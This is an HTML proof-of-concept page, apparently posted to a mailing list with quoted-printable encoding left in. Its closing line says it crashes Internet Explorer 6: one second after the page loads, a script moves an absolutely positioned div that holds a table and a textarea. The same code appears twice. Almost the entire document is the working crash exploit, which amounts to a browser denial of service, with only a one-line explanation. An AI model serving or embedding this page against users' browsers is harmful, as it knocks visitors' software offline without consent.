<html>

<head>

<title>CRASH-IE</title>

<style type=3D"text/css">

html, body {

overflow-y: hidden;=20

scrollbar-base-color: '#330066';=20

}

=20

.crash {

position:absolute;

left:200px;

top:200px;

width:200px;

}



</style>

<script type=3D"text/javascript">

function galgenfrist() {

window.setTimeout('crashIE();',1000);

}



function crashIE() {

var moveNode =3D document.getElementById("move");

if(moveNode) {

moveNode.style.top =3D "100px";=20

moveNode.style.left =3D "200px";

}

}

</script>

</head>

<body onload=3D"galgenfrist();">

<h1>CRASH-IE</h1>

<div id=3D"move" class=3D"crash">

<table>

<tbody>

<tr>

<td>

<textarea></textarea>

</td>

</tr>

</tbody>

</table>

</div>

</body>

</html>

<html>

<head>

<title>CRASH-IE</title>

<style type=3D"text/css">

html, body {

overflow-y: hidden;=20

scrollbar-base-color: '#330066';=20

}

=20

.crash {

position:absolute;

left:200px;

top:200px;

width:200px;

}



</style>

<script type=3D"text/javascript">

function galgenfrist() {

window.setTimeout('crashIE();',1000);

}



function crashIE() {

var moveNode =3D document.getElementById("move");

if(moveNode) {

moveNode.style.top =3D "100px";=20

moveNode.style.left =3D "200px";

}

}

</script>

</head>

<body onload=3D"galgenfrist();">

<h1>CRASH-IE</h1>

<div id=3D"move" class=3D"crash">

<table>

<tbody>

<tr>

<td>

<textarea></textarea>

</td>

</tr>

</tbody>

</table>

</div>

</body>

</html>

the above html should cause ie6 to crash immediately